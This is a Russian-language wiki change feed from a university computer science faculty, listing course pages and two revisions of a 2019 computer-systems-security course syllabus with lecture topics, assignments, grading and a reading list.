[[Компьютерная лингвистика и информационные технологии |Компьютерная лингвистика и информационные технологии (ОП &amp;quot;Фундаментальная и компьютерная лингвистика&amp;quot;, 4 курс, 2 семестр)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Основы анализа данных в международных отношениях|Основы анализа данных в международных отношениях (ОП &amp;quot;Международные отношения&amp;quot;, 2 курс, 4 модуль)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Введение в data science (2_семестр)|Профориентационный семинар (блок по введению в data scicence) (Факультет социальных наук — 2 семестр: Социология, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Введение в Data Science| Введение в Data Science (ФБиМ, 4 модуль)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== 1 семестр ===&lt;br /&gt;
&lt;br /&gt;
[[Цифровая_грамотность|Цифровая грамотность (факультет гуманитарных наук — 1 семестр: История, Философия, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Машинное обучение (факультет экономических наук)|Машинное обучение (факультет экономических наук)]] &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Компьютерная лингвистика и информационные технологии |Компьютерная лингвистика и информационные технологии (ОП &amp;quot;Фундаментальная и компьютерная лингвистика&amp;quot;, 4 курс, 1 семестр)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Извлечение и анализ интернет-данных | Извлечение и анализ интернет-данных (факультет экономических наук)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Анализ больших данных в социальных науках (ФСН, 2017) | Анализ больших данных в социальных науках (ФСН, 2017)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Информационные_технологии_в_деятельности_юриста|Информационные технологии в деятельности юриста (Факультет права)]] &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Машинное_обучение_для_лингвистов|Машинное обучение (магистратура Школы лингвистики)]] &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Курсы магистратуры Финансовые технологии и анализ данных ==&lt;br /&gt;
&lt;br /&gt;
[[Вероятностные_модели_и_прикладная_статистика_в_финансовой_математике|Вероятностные модели и прикладная статистика в финансовой математике]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Рекомендательные системы и поиск закономерностей в данных|Рекомендательные системы и поиск закономерностей в данных]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Courses of Data Science master  program/Курсы магистерской программы &amp;quot;Науки о данных&amp;quot; ==&lt;br /&gt;
&lt;br /&gt;
[[Introduction to Machine Learning and Data Mining|Introduction to Machine Learning and Data Mining]]&lt;br /&gt;
&lt;br /&gt;
== Курсы за 2016/17 учебный год ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! 1 курс !! 2 курс !! 3-4 курс !! майноры&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Математический анализ на ПМИ_2016/2017 | Математический анализ на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная алгебра и геометрия_2016/2017 | Линейная алгебра и геометрия на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_математика_1_2016/2017 | Дискретная математика-1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Основы и методология программирования_2016/2017_пилотный_поток | Основы и методология программирования на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы и методология программирования_2016/2017 | Основы и методология программирования на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_на_ПМИ_(пилотный_поток) | Алгоритмы и структуры данных на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_на_ПМИ_(основной_поток) | Алгоритмы и структуры данных на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгебра_на_ПМИ_2016/2017 | Алгебра на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[http://hsealgebra17.wikidot.com/ Алгебра на ПИ]&lt;br /&gt;
&lt;br /&gt;
|| &lt;br /&gt;
&lt;br /&gt;
[[Математический анализ_2016/2017 | Математический анализ-3 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математически_анализ_3_на_ПМИ_(пилотный_поток) | Математический анализ-3 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM_2_2016_2017 | Дискретная математика-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная математика_2_2016/2017 | Дискретная математика-2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы и структуры данных_2_2016/2017 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория вероятностей_2016/2017 | Теория вероятностей на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2016/2017_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Архитектура_компьютеров_и_операционные_системы_2016/2017 | Архитектура компьютеров и операционные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Факультатив_теория_вычислений_2016/2017 | Факультатив теория вычислений на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_теории_вероятностей_(факультатив,_2017) | Дополнительные главы теории вероятностей (факультатив)]]&lt;br /&gt;
&lt;br /&gt;
[[Дифференциальные_уравнения_(2_курс,_2016/2017) | Дифференциальные уравнения]]&lt;br /&gt;
&lt;br /&gt;
[[Математическая_статистика_2016/2017_(пилотный_поток) | Математическая статистика на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Архитектура_компьютеров_и_операционные_системы_2016/2017 | Архитектура компьютеров и операционные системы ]]&lt;br /&gt;
&lt;br /&gt;
|| &lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2016/2017 | НИС Машинное обучение и приложения на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_1/2016_2017 | Машинное обучение 1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_2/2016_2017 | Машинное обучение 2 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладной_статистический_анализ_данных | Прикладной статистический анализ данных на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Численные_методы_в_анализе_данных | Численные методы в анализе данных на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[http://www.machinelearning.ru/wiki/index.php?title=Статистика_случайных_процессов_(курс_лекций,_ФКН_ВШЭ) Вероятностные модели и статистика случайных процессов на ПМИ]&lt;br /&gt;
&lt;br /&gt;
[http://www.machinelearning.ru/wiki/index.php?title=Opt Методы оптимизации на ПМИ (специализации МОП и РС)]&lt;br /&gt;
&lt;br /&gt;
[[Методы_оптимизации_(весна_2017)|Методы оптимизации 2 (дискретная оптимизация)]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Распределенные_системы_(осень_2016) | НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ и верификация алгоритмов биржевой торговли | Анализ и верификация алгоритмов для систем биржевой торговли ]]&lt;br /&gt;
&lt;br /&gt;
[[Программирование_на_графических_процессорах | Программирование на графических процессорах]]&lt;br /&gt;
&lt;br /&gt;
[[ЯРПО | Языки разработки ПО (курс по выбору) на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Data analysis (Software Engineering) 2017 | Data analysis  на ПИ]]&lt;br /&gt;
&lt;br /&gt;
[[Базы данных 2 | Базы данных 2 ]]&lt;br /&gt;
&lt;br /&gt;
[[Компьютерные сети 2 | Компьютерные сети 2]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_на_больших_данных | Машинное обучение на больших данных на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Современные_методы_машинного_обучения_(курс_майнора) | Современные методы машинного обучения (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор_Интеллектуальный_анализ_данных/Введение_в_программирование_2016/2017 | Введение в программирование (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2016-2017 | Введение в анализ данных (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Прикладные задачи анализа данных| Прикладные задачи анализа данных (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{|width=100%&lt;br /&gt;
|style=&amp;quot;vertical-align:top;&amp;quot;|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Первая колонка --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Курсы за 2015/16 учебный год ===&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
| [[Технологии программирования|Технологии программирования на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[ОиМП-2015|Основы и методология программирования на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Алгоритмы и структуры данных 2016]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Линейная алгебра и геометрия_2015/2016 | Линейная алгебра и геометрия на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Алгебра_2015/2016 | Алгебра на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[http://hsealgebra.wikidot.com/ Алгебра на ПИ]&lt;br /&gt;
|-&lt;br /&gt;
|[[Компьютерные системы]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Математический анализ на ПМИ_2015/2016 | Математический анализ на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Факультатив_Матпрактикум | Матпрактикум (факультатив) на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Data analysis (Software Engineering)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Майнор Интеллектуальный анализ данных/Введение в программирование|Введение в программирование (курс майнора) на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2015-2016|Введение в анализ данных (курс майнора) на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[НИС Машинное обучение и приложения|НИС Машинное обучение и приложения на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Архитектура компьютеров и системное программирование (ПМИ_4, 2015/2016)|Архитектура компьютеров и системное программирование (4 курс)]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Дифференциальные уравнения (2 курс, 2015/2016)| Дифференциальные уравнения]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Введение в VBA|Введение в VBA]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
|style=&amp;quot;vertical-align:top;&amp;quot;|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Вторая колонка --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Курсы за 2014/15 учебный год ===&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
|[[Основы и методологии программирования]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Алгоритмы и структуры данных 2015 | Алгоритмы и структуры данных]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Анализ данных (Программная инженерия)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Алгебра_2014/2015 | Алгебра]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Magolego_sna_2015| MAGoLEGO Social Network Analysis]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Проектная работа ====&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
|[[Проектная работа]] &amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Учебная практика 1 курс (2016)]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Проектная работа 2 курс (2016)]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Завершение двухколоночной таблицы --&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Мероприятия факультета компьютерных наук ==&lt;br /&gt;
=== Summer School 2015 ===&lt;br /&gt;
[[Introduction to Natural Language Processing|Introduction to Natural Language Processing]]&lt;br /&gt;
#[[Lecture 1. Introduction|Introduction]]&lt;br /&gt;
#[[Lecture 2. Tokenization and word counts|Tokenization and word counts]]&lt;br /&gt;
#[[Lecture 3. POS tagging. Key word and phrase extraction|POS tagging. Key word and phrase extraction]]&lt;br /&gt;
#[[Lecture 4. Parsing|Parsing]]&lt;br /&gt;
#[[Lecture 5. Language sources|Language sources]]&lt;br /&gt;
#[[Lecture 6. Synonyms and near-synonyms detection|Synonyms and near-synonyms detection]]&lt;br /&gt;
#[[Lecture 8. Suffix trees for NLP|Suffix trees for NLP]]&lt;br /&gt;
#[[NLP References|References]]&lt;br /&gt;
&lt;br /&gt;
== Архив ==&lt;br /&gt;
* [[Учебная практика 1 курс (2015)]]&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=34975</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=34975"/>
		<updated>2019-09-16T08:34:44Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (14.09) Безопасность приложений. Мобильные приложения и их уязвимости.&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Механизмы безопасности приложений в операционных системах. &lt;br /&gt;
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/XXE|Веб-уязвимости. XXE, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинар переносится на 30.10&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=34879</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=34879"/>
		<updated>2019-09-12T13:46:49Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.&lt;br /&gt;
# (14.09) Безопасность приложений. Мобильные приложения и их уязвимости.&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Механизмы безопасности приложений в операционных системах. &lt;br /&gt;
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/XXE|Веб-уязвимости. XXE, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинар переносится на 30.10&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%9E_%D1%84%D0%B0%D0%BA%D1%83%D0%BB%D1%8C%D1%82%D0%B5%D1%82%D0%B5&amp;diff=34878</id>
		<title>О факультете</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%9E_%D1%84%D0%B0%D0%BA%D1%83%D0%BB%D1%8C%D1%82%D0%B5%D1%82%D0%B5&amp;diff=34878"/>
		<updated>2019-09-12T13:30:58Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: Добавил курс БКС для 3 и 4 курса&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__ &lt;br /&gt;
&lt;br /&gt;
= Учебные курсы факультета компьютерных наук =&lt;br /&gt;
&lt;br /&gt;
== Курсы за 2019/20 учебный год ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! 1 курс !! 2 курс !! 3 курс !! 4 курс  !! майноры и факультативы&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_1_2019/2020 | Математический анализ-1 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2019/2020_(основной_поток) | Математический анализ на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_математика_1_2019/2020 | Дискретная математика-1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
